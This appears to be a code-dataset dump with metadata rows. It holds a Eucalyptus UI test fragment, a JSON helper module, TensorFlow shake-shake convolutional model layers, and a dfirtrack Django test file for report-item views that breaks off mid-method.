print "=== runTest: View All Page ==="
print
self.eucaUITester.base.test_ui_login()
self.eucaUITester.keypair.test_ui_gotopage_keypairs()
self.eucaUITester.instance.test_ui_gotopage_running()
self.eucaUITester.security_group.test_ui_gotopage_security_groups()
self.eucaUITester.volume.test_ui_gotopage_volumes()
self.eucaUITester.image.test_ui_gotopage_images()
self.eucaUITester.base.test_ui_view_page_get_dashboard_source()
self.eucaUITester.base.test_ui_logout()
def view_all_page_in_loop(self):
print "=== runTest: View All Page In Loop ==="
print
self.eucaUITester.base.test_ui_login()
while True:
try:
print "Test: view_all_page_in_loop - Click Through All Landing Pages"
print
self.eucaUITester.keypair.test_ui_gotopage_keypairs()
self.eucaUITester.instance.test_ui_gotopage_running()
self.eucaUITester.security_group.test_ui_gotopage_security_groups()
self.eucaUITester.volume.test_ui_gotopage_volumes()
self.eucaUITester.image.test_ui_gotopage_images()
self.eucaUITester.base.test_ui_view_page_get_dashboard_source()
print "Test: view_all_page_in_loop - Sleep 5 Sec"
print
time.sleep(5)
except:
print "Test: view_all_page_in_loop - Catched Exception: Try to Log Back In"
print
self.eucaUITester.base.test_ui_login()
if __name__ == "__main__":
unittest.main()
| 38.478261 | 91 | 0.665537 | 419 | 3,540 | 5.26253 | 0.138425 | 0.261224 | 0.190476 | 0.228571 | 0.823129 | 0.763265 | 0.74059 | 0.668481 | 0.626757 | 0.586848 | 0 | 0.001494 | 0.243785 | 3,540 | 91 | 92 | 38.901099 | 0.822189 | 0 | 0 | 0.623377 | 0 | 0 | 0.14108 | 0.017812 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.012987 | null | null | 0.311688 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
b17c52119621696cbe5953d0f25704805976bc11 | 184 | py | Python | supervised/utils/__init__.py | stjordanis/mljar-supervised | 8c3f9d1ed527dfcfdaef91cf82e2779c5832e294 | [
"MIT"
] | 1,882 | 2018-11-05T13:20:54.000Z | 2022-03-31T14:31:46.000Z | supervised/utils/__init__.py | stjordanis/mljar-supervised | 8c3f9d1ed527dfcfdaef91cf82e2779c5832e294 | [
"MIT"
] | 499 | 2019-03-14T09:57:51.000Z | 2022-03-30T06:00:43.000Z | supervised/utils/__init__.py | stjordanis/mljar-supervised | 8c3f9d1ed527dfcfdaef91cf82e2779c5832e294 | [
"MIT"
] | 277 | 2019-02-08T21:32:13.000Z | 2022-03-29T03:26:05.000Z | import json
def json_loads(data, *args, **kwargs):
return json.loads(data, *args, **kwargs)
def json_dumps(data, *args, **kwargs):
return json.dumps(data, *args, **kwargs)
| 18.4 | 44 | 0.663043 | 26 | 184 | 4.615385 | 0.346154 | 0.266667 | 0.466667 | 0.283333 | 0.866667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.163043 | 184 | 9 | 45 | 20.444444 | 0.779221 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | false | 0 | 0.2 | 0.4 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 8 |
b19258b7ed35f1eebe13d223a10fbdd22d68884c | 24,394 | py | Python | classification/models/layers_shakex2.py | marketler/GFW_Vessel_Classification | fb2ada9aeebe2582b42e940db86674fd4da6fb07 | [
"Apache-2.0"
] | null | null | null | classification/models/layers_shakex2.py | marketler/GFW_Vessel_Classification | fb2ada9aeebe2582b42e940db86674fd4da6fb07 | [
"Apache-2.0"
] | null | null | null | classification/models/layers_shakex2.py | marketler/GFW_Vessel_Classification | fb2ada9aeebe2582b42e940db86674fd4da6fb07 | [
"Apache-2.0"
] | null | null | null | # Copyright 2017 Google Inc. and Skytruth Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import tensorflow as tf
import tensorflow.layers as ly
import numpy as np
from .shake_shake import shake_shake, shake_out, shake_out2
def zero_pad_features(features, depth):
""" Zero-pad features in the depth dimension to match requested feature depth. """
n = int(features.get_shape().dims[-1])
extra_feature_count = depth - n
assert n >= 0
if n > 0:
padding = tf.tile(features[:, :, :1] * 0,
[1, 1, extra_feature_count])
features = tf.concat([features, padding], 2)
return features
def repeat_tensor(input, n):
batch_size, width, depth = input.get_shape()
repeated = tf.concat([input] * n, 2)
return tf.reshape(repeated, [-1, int(width) * n, int(depth)])
def shake2(inputs,
filters,
kernel_size,
stride,
training,
scope=None):
with tf.name_scope(scope):
y = tf.nn.relu(inputs)
y1 = ly.conv1d(y, filters, kernel_size, activation=None, use_bias=False, strides=stride, padding="valid")
y1 = ly.batch_normalization(y1, training=training)
y1 = tf.nn.relu(y1)
y1 = ly.conv1d(y1, filters, 1, activation=None, use_bias=False, padding="valid")
y1 = ly.batch_normalization(y1, training=training)
y2 = ly.conv1d(y, filters, kernel_size, activation=None, use_bias=False, strides=stride, padding="valid")
y2 = ly.batch_normalization(y2, training=training)
y2 = tf.nn.relu(y2)
y2 = ly.conv1d(y2, filters, 1, activation=None, use_bias=False, padding="valid")
y2 = ly.batch_normalization(y2, training=training)
return shake_shake(y1, y2, training)
def shakeout2(inputs,
filters,
kernel_size,
stride,
training,
scope=None):
with tf.name_scope(scope):
y = tf.nn.relu(inputs)
y1 = ly.conv1d(y, filters, kernel_size, activation=None, use_bias=False, strides=stride, padding="valid")
y1 = ly.batch_normalization(y1, training=training)
y1 = tf.nn.relu(y1)
y1 = ly.conv1d(y1, filters, 1, activation=None, use_bias=False, padding="valid")
y1 = ly.batch_normalization(y1, training=training)
y2 = ly.conv1d(y, filters, kernel_size, activation=None, use_bias=False, strides=stride, padding="valid")
y2 = ly.batch_normalization(y2, training=training)
y2 = tf.nn.relu(y2)
y2 = ly.conv1d(y2, filters, 1, activation=None, use_bias=False, padding="valid")
y2 = ly.batch_normalization(y2, training=training)
return shake_out2(y1, y2, training)
def shakeout(inputs,
filters,
kernel_size,
stride,
training,
scope=None):
with tf.name_scope(scope):
y = tf.nn.relu(inputs)
y1, y2 = shake_out(y, training)
y1 = ly.conv1d(y1, filters, kernel_size, activation=None, use_bias=False, strides=stride, padding="valid")
y1 = ly.batch_normalization(y1, training=training)
y1 = tf.nn.relu(y1)
y1 = ly.conv1d(y1, filters, 1, activation=None, use_bias=False, padding="valid")
y1 = ly.batch_normalization(y1, training=training)
y2 = ly.conv1d(y, filters, kernel_size, activation=None, use_bias=False, strides=stride, padding="valid")
y2 = ly.batch_normalization(y2, training=training)
y2 = tf.nn.relu(y2)
y2 = ly.conv1d(y2, filters, 1, activation=None, use_bias=False, padding="valid")
y2 = ly.batch_normalization(y2, training=training)
return y1 + y2
def shake2_with_max(inputs,
filters,
kernel_size,
stride,
training,
scope=None):
with tf.name_scope(scope):
ss = shake2(inputs, filters, kernel_size, stride, training)
mp = tf.layers.max_pooling1d(
inputs, kernel_size, strides=stride, padding="valid")
concat = tf.concat([ss, mp], 2)
y = ly.conv1d(concat, filters, 1, activation=None, use_bias=False)
y = ly.batch_normalization(y, training=training)
return y
def shake2_with_bypass(inputs,
filters,
kernel_size,
stride,
training,
scope=None):
with tf.name_scope(scope):
residual = shake2(inputs, filters, kernel_size, stride, training)
# crop = (kernel_size - stride // 2) // 2 # TODO: work this out more generally / cleanly
crop = kernel_size // 2
thru = inputs
if crop:
thru = inputs[:, crop:-crop]
thru = thru[:, ::stride]
thru = zero_pad_features(thru, filters)
return thru + residual
def shakeout2_with_bypass(inputs,
filters,
kernel_size,
stride,
training,
scope=None):
with tf.name_scope(scope):
residual = shakeout2(inputs, filters, kernel_size, stride, training)
# crop = (kernel_size - stride // 2) // 2 # TODO: work this out more generally / cleanly
crop = kernel_size // 2
thru = inputs
if crop:
thru = inputs[:, crop:-crop]
thru = thru[:, ::stride]
thru = zero_pad_features(thru, filters)
return thru + residual
def shake2_with_thru_max(inputs,
filters,
kernel_size,
stride,
training,
scope=None):
with tf.name_scope(scope):
ss = shake2(inputs, filters, kernel_size, stride, training)
mp = tf.layers.max_pooling1d(
inputs, kernel_size, strides=stride, padding="valid")
concat = tf.concat([ss, mp], 2)
y = ly.conv1d(concat, filters, 1, activation=None, use_bias=False)
residual = ly.batch_normalization(y, training=training)
# crop = (kernel_size - stride // 2) // 2 # TODO: work this out more generally / cleanly
crop = kernel_size // 2
thru = inputs
if crop:
thru = inputs[:, crop:-crop]
thru = thru[:, ::stride]
# if stride > 1:
# thru = tf.layers.max_pooling1d(
# thru, kernel_size, strides=stride, padding="valid")
thru = zero_pad_features(thru, filters)
return thru + residual
def shake2_with_bypass(inputs,
filters,
kernel_size,
stride,
training,
scope=None):
with tf.name_scope(scope):
residual = shake2(inputs, filters, kernel_size, stride, training)
# crop = (kernel_size - stride // 2) // 2 # TODO: work this out more generally / cleanly
crop = kernel_size // 2
thru = inputs
if crop:
thru = inputs[:, crop:-crop]
thru = thru[:, ::stride]
# if stride > 1:
# thru = tf.layers.max_pooling1d(
# thru, kernel_size, strides=stride, padding="valid")
thru = zero_pad_features(thru, filters)
return thru + residual
def shake2_model(inputs,
filters_list,
kernel_size,
strides_list,
training,
objective_functions,
sub_filters=128,
sub_layers=2,
dropout_rate=0.5,
feature_means=None,
feature_stds=None):
""" A misconception tower.
Args:
input: a tensor of size [batch_size, 1, width, depth].
window_size: the width of the conv and pooling filters to apply.
depth: the depth of the output tensor.
levels: the height of the tower in misconception layers.
objective_functions: a list of objective functions to add to the top of
the network.
is_training: whether the network is training.
Returns:
a tensor of size [batch_size, num_classes].
"""
net = inputs
if feature_means is not None:
net = net - tf.constant(feature_means)[None, None, :]
if feature_stds is not None:
net = net / (tf.constant(feature_stds) + 1e-6)
# Add a stem section to allow net to setup useful features
filters = filters_list[0]
net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid")
net = ly.batch_normalization(net, training=training)
net = tf.nn.relu(net)
net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid")
net = ly.batch_normalization(net, training=training)
net = tf.nn.relu(net)
for filters, stride in zip(filters_list, strides_list):
net = shake2_with_bypass(net, filters, kernel_size, stride, training)
net = tf.nn.relu(net)
outputs = []
for ofunc in objective_functions:
onet = net
for _ in range(sub_layers - 1):
onet = ly.conv1d(onet, sub_filters, 1, activation=None, use_bias=False)
onet = ly.batch_normalization(onet, training=training)
onet = tf.nn.relu(onet)
onet = ly.conv1d(onet, sub_filters, 1, activation=tf.nn.relu)
onet = ly.flatten(onet)
#
onet = ly.dropout(onet, training=training, rate=dropout_rate)
outputs.append(ofunc.build(onet))
return outputs
def shake2_max_model(inputs,
filters_list,
kernel_size,
strides_list,
training,
objective_functions,
sub_filters=128,
sub_layers=2,
dropout_rate=0.5,
feature_means=None,
feature_stds=None):
""" A misconception tower.
Args:
input: a tensor of size [batch_size, 1, width, depth].
window_size: the width of the conv and pooling filters to apply.
depth: the depth of the output tensor.
levels: the height of the tower in misconception layers.
objective_functions: a list of objective functions to add to the top of
the network.
is_training: whether the network is training.
Returns:
a tensor of size [batch_size, num_classes].
"""
net = inputs
if feature_means is not None:
net = net - tf.constant(feature_means)[None, None, :]
if feature_stds is not None:
net = net / (tf.constant(feature_stds) + 1e-6)
# Add a stem section to allow net to setup useful features
filters = filters_list[0]
net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid")
net = ly.batch_normalization(net, training=training)
net = tf.nn.relu(net)
net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid")
net = ly.batch_normalization(net, training=training)
net = tf.nn.relu(net)
for filters, stride in zip(filters_list, strides_list):
net = shake2_with_max(net, filters, kernel_size, stride, training)
net = tf.nn.relu(net)
outputs = []
for ofunc in objective_functions:
onet = net
for _ in range(sub_layers - 1):
onet = ly.conv1d(onet, sub_filters, 1, activation=None, use_bias=False)
onet = ly.batch_normalization(onet, training=training)
onet = tf.nn.relu(onet)
onet = ly.conv1d(onet, sub_filters, 1, activation=tf.nn.relu)
onet = ly.flatten(onet)
#
onet = ly.dropout(onet, training=training, rate=dropout_rate)
outputs.append(ofunc.build(onet))
return outputs
def shake2_thru_max_model(inputs,
filters_list,
kernel_size,
strides_list,
training,
objective_functions,
sub_filters=128,
sub_layers=2,
dropout_rate=0.5,
feature_means=None,
feature_stds=None):
""" A misconception tower.
Args:
input: a tensor of size [batch_size, 1, width, depth].
window_size: the width of the conv and pooling filters to apply.
depth: the depth of the output tensor.
levels: the height of the tower in misconception layers.
objective_functions: a list of objective functions to add to the top of
the network.
is_training: whether the network is training.
Returns:
a tensor of size [batch_size, num_classes].
"""
net = inputs
if feature_means is not None:
net = net - tf.constant(feature_means)[None, None, :]
if feature_stds is not None:
net = net / (tf.constant(feature_stds) + 1e-6)
# Add a stem section to allow net to setup useful features
filters = filters_list[0]
net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid")
net = ly.batch_normalization(net, training=training)
net = tf.nn.relu(net)
net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid")
net = ly.batch_normalization(net, training=training)
net = tf.nn.relu(net)
for filters, stride in zip(filters_list, strides_list):
net = shake2_with_thru_max(net, filters, kernel_size, stride, training)
net = tf.nn.relu(net)
outputs = []
for ofunc in objective_functions:
onet = net
for _ in range(sub_layers - 1):
onet = ly.conv1d(onet, sub_filters, 1, activation=None, use_bias=False)
onet = ly.batch_normalization(onet, training=training)
onet = tf.nn.relu(onet)
onet = ly.conv1d(onet, sub_filters, 1, activation=tf.nn.relu)
onet = ly.flatten(onet)
#
onet = ly.dropout(onet, training=training, rate=dropout_rate)
outputs.append(ofunc.build(onet))
return outputs
def shakeout_model(inputs,
filters_list,
kernel_size,
strides_list,
training,
objective_functions,
sub_filters=128,
sub_layers=2,
dropout_rate=0.5,
feature_means=None,
feature_stds=None):
""" A misconception tower.
Args:
input: a tensor of size [batch_size, 1, width, depth].
window_size: the width of the conv and pooling filters to apply.
depth: the depth of the output tensor.
levels: the height of the tower in misconception layers.
objective_functions: a list of objective functions to add to the top of
the network.
is_training: whether the network is training.
Returns:
a tensor of size [batch_size, num_classes].
"""
net = inputs
if feature_means is not None:
net = net - tf.constant(feature_means)[None, None, :]
if feature_stds is not None:
net = net / (tf.constant(feature_stds) + 1e-6)
# Add a stem section to allow net to setup useful features
filters = filters_list[0]
net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid")
net = ly.batch_normalization(net, training=training)
net = tf.nn.relu(net)
net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid")
net = ly.batch_normalization(net, training=training)
net = tf.nn.relu(net)
for filters, stride in zip(filters_list, strides_list):
net = shakeout2_with_bypass(net, filters, kernel_size, stride, training)
net = tf.nn.relu(net)
outputs = []
for ofunc in objective_functions:
onet = net
for _ in range(sub_layers - 1):
onet = ly.conv1d(onet, sub_filters, 1, activation=None, use_bias=False)
onet = ly.batch_normalization(onet, training=training)
onet = tf.nn.relu(onet)
onet = ly.conv1d(onet, sub_filters, 1, activation=tf.nn.relu)
onet = ly.flatten(onet)
#
onet = ly.dropout(onet, training=training, rate=dropout_rate)
outputs.append(ofunc.build(onet))
return outputs
def shake2_v2_model(inputs,
filters_list,
kernel_size,
strides_list,
final_layers,
final_filters,
training,
objective_functions,
sub_filters=128,
sub_layers=2,
dropout_rate=0.5,
feature_means=None,
feature_stds=None):
""" A misconception tower.
Args:
input: a tensor of size [batch_size, 1, width, depth].
window_size: the width of the conv and pooling filters to apply.
depth: the depth of the output tensor.
levels: the height of the tower in misconception layers.
objective_functions: a list of objective functions to add to the top of
the network.
is_training: whether the network is training.
Returns:
a tensor of size [batch_size, num_classes].
"""
net = inputs
if feature_means is not None:
net = net - tf.constant(feature_means)[None, None, :]
if feature_stds is not None:
net = net / (tf.constant(feature_stds) + 1e-6)
# Add a stem section to allow net to setup useful features
filters = filters_list[0]
net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid")
net = ly.batch_normalization(net, training=training)
net = tf.nn.relu(net)
net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid")
net = ly.batch_normalization(net, training=training)
net = tf.nn.relu(net)
for filters, stride in zip(filters_list, strides_list):
net = shake2(net, filters, kernel_size, stride, training)
for _ in range(final_layers):
net = shake2_with_bypass(net, final_filters, kernel_size, 1, training)
net = tf.nn.relu(net)
outputs = []
for ofunc in objective_functions:
onet = net
for _ in range(sub_layers - 1):
onet = ly.conv1d(onet, sub_filters, 1, activation=None, use_bias=False)
onet = ly.batch_normalization(onet, training=training)
onet = tf.nn.relu(onet)
onet = ly.conv1d(onet, sub_filters, 1, activation=tf.nn.relu)
onet = ly.flatten(onet)
#
onet = ly.dropout(onet, training=training, rate=dropout_rate)
outputs.append(ofunc.build(onet))
return outputs
def shake2_v3_model(inputs,
filters_list,
kernel_size,
strides_list,
final_layers,
final_filters,
training,
objective_functions,
sub_filters=128,
sub_layers=2,
dropout_rate=0.5,
feature_means=None,
feature_stds=None):
""" A misconception tower.
Args:
input: a tensor of size [batch_size, 1, width, depth].
window_size: the width of the conv and pooling filters to apply.
depth: the depth of the output tensor.
levels: the height of the tower in misconception layers.
objective_functions: a list of objective functions to add to the top of
the network.
is_training: whether the network is training.
Returns:
a tensor of size [batch_size, num_classes].
"""
net = inputs
if feature_means is not None:
net = net - tf.constant(feature_means)[None, None, :]
if feature_stds is not None:
net = net / (tf.constant(feature_stds) + 1e-6)
# Add a stem section to allow net to setup useful features
filters = filters_list[0]
net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid")
net = ly.batch_normalization(net, training=training)
net = tf.nn.relu(net)
net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid")
net = ly.batch_normalization(net, training=training)
net = tf.nn.relu(net)
for filters, stride in zip(filters_list, strides_list):
net = shake2_with_max(net, filters, kernel_size, stride, training)
for _ in range(final_layers):
net = shake2_with_bypass(net, final_filters, kernel_size, 1, training)
net = tf.nn.relu(net)
outputs = []
for ofunc in objective_functions:
onet = net
for _ in range(sub_layers - 1):
onet = ly.conv1d(onet, sub_filters, 1, activation=None, use_bias=False)
onet = ly.batch_normalization(onet, training=training)
onet = tf.nn.relu(onet)
onet = ly.conv1d(onet, sub_filters, 1, activation=tf.nn.relu)
onet = ly.flatten(onet)
#
onet = ly.dropout(onet, training=training, rate=dropout_rate)
outputs.append(ofunc.build(onet))
return outputs
def shake2_v4_model(inputs,
filters_list,
kernel_size,
strides_list,
training,
objective_functions,
sub_filters=128,
sub_layers=2,
dropout_rate=0.5,
feature_means=None,
feature_stds=None):
""" A misconception tower.
Args:
input: a tensor of size [batch_size, 1, width, depth].
window_size: the width of the conv and pooling filters to apply.
depth: the depth of the output tensor.
levels: the height of the tower in misconception layers.
objective_functions: a list of objective functions to add to the top of
the network.
is_training: whether the network is training.
Returns:
a tensor of size [batch_size, num_classes].
"""
net = inputs
if feature_means is not None:
net = net - tf.constant(feature_means)[None, None, :]
if feature_stds is not None:
net = net / (tf.constant(feature_stds) + 1e-6)
# Add a stem section to allow net to setup useful features
filters = filters_list[0]
net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid")
net = ly.batch_normalization(net, training=training)
net = tf.nn.relu(net)
net = ly.conv1d(net, filters, 3, activation=None, use_bias=False, strides=1, padding="valid")
net = ly.batch_normalization(net, training=training)
net = tf.nn.relu(net)
for filters, stride in zip(filters_list, strides_list):
net = shake2_with_bypass(net, filters, kernel_size, stride, training)
net = tf.nn.relu(net)
outputs = []
for ofunc in objective_functions:
onet = net
for _ in range(sub_layers - 1):
onet = ly.conv1d(onet, sub_filters, 1, activation=None, use_bias=False)
onet = ly.batch_normalization(onet, training=training)
onet = tf.nn.relu(onet)
onet = ly.conv1d(onet, sub_filters, 1, activation=tf.nn.relu)
onet = ly.flatten(onet)
#
onet = ly.dropout(onet, training=training, rate=dropout_rate)
outputs.append(ofunc.build(onet))
return outputs
| 36.192878 | 114 | 0.594531 | 3,049 | 24,394 | 4.627419 | 0.062971 | 0.033312 | 0.024949 | 0.052094 | 0.924587 | 0.923737 | 0.919059 | 0.917358 | 0.917358 | 0.917358 | 0 | 0.018106 | 0.311716 | 24,394 | 673 | 115 | 36.246657 | 0.822216 | 0.200254 | 0 | 0.901869 | 0 | 0 | 0.007269 | 0 | 0 | 0 | 0 | 0.001486 | 0.002336 | 1 | 0.03972 | false | 0.018692 | 0.009346 | 0 | 0.088785 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
b1a0d4535a8288275d8ed1d0e5f7ab920ec5958c | 23,277 | py | Python | dfirtrack_main/tests/reportitem/test_reportitem_views.py | stuhli/dfirtrack | 9260c91e4367b36d4cb1ae7efe4e2d2452f58e6e | [
"Apache-2.0"
] | 273 | 2018-04-18T22:09:15.000Z | 2021-06-04T09:15:48.000Z | dfirtrack_main/tests/reportitem/test_reportitem_views.py | stuhli/dfirtrack | 9260c91e4367b36d4cb1ae7efe4e2d2452f58e6e | [
"Apache-2.0"
] | 75 | 2018-08-31T11:05:37.000Z | 2021-06-08T14:15:07.000Z | dfirtrack_main/tests/reportitem/test_reportitem_views.py | stuhli/dfirtrack | 9260c91e4367b36d4cb1ae7efe4e2d2452f58e6e | [
"Apache-2.0"
] | 61 | 2018-11-12T22:55:48.000Z | 2021-06-06T15:16:16.000Z | import urllib.parse
from django.contrib.auth.models import User
from django.test import TestCase
from dfirtrack_main.models import (
Case,
Casepriority,
Casestatus,
Headline,
Notestatus,
Reportitem,
System,
Systemstatus,
Tag,
Tagcolor,
)
class ReportitemViewTestCase(TestCase):
"""reportitem view tests"""
@classmethod
def setUpTestData(cls):
# create user
test_user = User.objects.create_user(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# create objects
headline_1 = Headline.objects.create(headline_name='headline_1')
Notestatus.objects.create(notestatus_name='notestatus_1')
systemstatus_1 = Systemstatus.objects.create(systemstatus_name='systemstatus_1')
# create object
system_1 = System.objects.create(
system_name='system_1',
systemstatus=systemstatus_1,
system_created_by_user_id=test_user,
system_modified_by_user_id=test_user,
)
# create object
Reportitem.objects.create(
reportitem_note='lorem ipsum',
system=system_1,
headline=headline_1,
reportitem_created_by_user_id=test_user,
reportitem_modified_by_user_id=test_user,
)
# create object
tagcolor_1 = Tagcolor.objects.create(tagcolor_name='tagcolor_1')
# create object
Tag.objects.create(tag_name='tag_1', tagcolor=tagcolor_1)
# create objects
casepriority_1 = Casepriority.objects.create(casepriority_name='casepriority_1')
casestatus_1 = Casestatus.objects.create(casestatus_name='casestatus_1')
# create object
Case.objects.create(
case_name='case_1',
case_is_incident=True,
case_created_by_user_id=test_user,
casepriority=casepriority_1,
casestatus=casestatus_1,
)
def test_reportitem_list_not_logged_in(self):
"""test list view"""
# create url
destination = '/login/?next=' + urllib.parse.quote('/reportitem/', safe='')
# get response
response = self.client.get('/reportitem/', follow=True)
# compare
self.assertRedirects(
response, destination, status_code=302, target_status_code=200
)
def test_reportitem_list_logged_in(self):
"""test list view"""
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# get response
response = self.client.get('/reportitem/')
# compare
self.assertEqual(response.status_code, 200)
def test_reportitem_list_template(self):
"""test list view"""
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# get response
response = self.client.get('/reportitem/')
# compare
self.assertTemplateUsed(
response, 'dfirtrack_main/reportitem/reportitem_list.html'
)
def test_reportitem_list_get_user_context(self):
"""test list view"""
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# get response
response = self.client.get('/reportitem/')
# compare
self.assertEqual(str(response.context['user']), 'testuser_reportitem')
def test_reportitem_list_redirect(self):
"""test list view"""
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# create url
destination = urllib.parse.quote('/reportitem/', safe='/')
# get response
response = self.client.get('/reportitem', follow=True)
# compare
self.assertRedirects(
response, destination, status_code=301, target_status_code=200
)
def test_reportitem_detail_not_logged_in(self):
"""test detail view"""
# get object
reportitem_1 = Reportitem.objects.get(reportitem_note='lorem ipsum')
# create url
destination = '/login/?next=' + urllib.parse.quote(
'/reportitem/' + str(reportitem_1.reportitem_id) + '/', safe=''
)
# get response
response = self.client.get(
'/reportitem/' + str(reportitem_1.reportitem_id) + '/', follow=True
)
# compare
self.assertRedirects(
response, destination, status_code=302, target_status_code=200
)
def test_reportitem_detail_logged_in(self):
"""test detail view"""
# get object
reportitem_1 = Reportitem.objects.get(reportitem_note='lorem ipsum')
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# get response
response = self.client.get(
'/reportitem/' + str(reportitem_1.reportitem_id) + '/'
)
# compare
self.assertEqual(response.status_code, 200)
def test_reportitem_detail_template(self):
"""test detail view"""
# get object
reportitem_1 = Reportitem.objects.get(reportitem_note='lorem ipsum')
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# get response
response = self.client.get(
'/reportitem/' + str(reportitem_1.reportitem_id) + '/'
)
# compare
self.assertTemplateUsed(
response, 'dfirtrack_main/reportitem/reportitem_detail.html'
)
def test_reportitem_detail_get_user_context(self):
"""test detail view"""
# get object
reportitem_1 = Reportitem.objects.get(reportitem_note='lorem ipsum')
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# get response
response = self.client.get(
'/reportitem/' + str(reportitem_1.reportitem_id) + '/'
)
# compare
self.assertEqual(str(response.context['user']), 'testuser_reportitem')
def test_reportitem_detail_redirect(self):
"""test detail view"""
# get object
reportitem_1 = Reportitem.objects.get(reportitem_note='lorem ipsum')
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# create url
destination = urllib.parse.quote(
'/reportitem/' + str(reportitem_1.reportitem_id) + '/', safe='/'
)
# get response
response = self.client.get(
'/reportitem/' + str(reportitem_1.reportitem_id), follow=True
)
# compare
self.assertRedirects(
response, destination, status_code=301, target_status_code=200
)
def test_reportitem_add_not_logged_in(self):
"""test add view"""
# create url
destination = '/login/?next=' + urllib.parse.quote('/reportitem/add/', safe='')
# get response
response = self.client.get('/reportitem/add/', follow=True)
# compare
self.assertRedirects(
response, destination, status_code=302, target_status_code=200
)
def test_reportitem_add_logged_in(self):
"""test add view"""
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# get response
response = self.client.get('/reportitem/add/')
# compare
self.assertEqual(response.status_code, 200)
def test_reportitem_add_system_selected(self):
"""test add view"""
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# get object
system_id = System.objects.get(system_name='system_1').system_id
# get response
response = self.client.get('/reportitem/add/?system=' + str(system_id))
# compare
self.assertEqual(response.status_code, 200)
def test_reportitem_add_template(self):
"""test add view"""
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# get response
response = self.client.get('/reportitem/add/')
# compare
self.assertTemplateUsed(
response, 'dfirtrack_main/reportitem/reportitem_generic_form.html'
)
def test_reportitem_add_get_user_context(self):
"""test add view"""
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# get response
response = self.client.get('/reportitem/add/')
# compare
self.assertEqual(str(response.context['user']), 'testuser_reportitem')
def test_reportitem_add_redirect(self):
"""test add view"""
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# create url
destination = urllib.parse.quote('/reportitem/add/', safe='/')
# get response
response = self.client.get('/reportitem/add', follow=True)
# compare
self.assertRedirects(
response, destination, status_code=301, target_status_code=200
)
def test_reportitem_add_post_redirect(self):
"""test add view"""
# login testuser
self.client.login(
username='testuser_reportitem', password='R2vXUSF3SIB8hhKmnztS'
)
# get objects
headline_id = Headline.objects.get(headline_name='headline_1').headline_id
notestatus_id = Notestatus.objects.get(
notestatus_name='notestatus_1'
).notestatus_id
system_id = System.objects.get(system_name='system_1').system_id
tag_id = Tag.objects.get(tag_name='tag_1').tag_id
# create post data
data_dict = {
'reportitem_note': 'reportitem_add_post_test',
'headline': headline_id,
'notestatus': notestatus_id,
'system': system_id,
'tag': [
tag_id,
],
}
# get response
response = self.client.post('/reportitem/add/', data_dict)
# create url
destination = urllib.parse.quote('/system/' + str(system_id) + '/', safe='/')
# compare
self.assertRedirects(
response, destination, status_code=302, target_status_code=200
)
def test_reportitem_add_post_redirect_documentation(self):
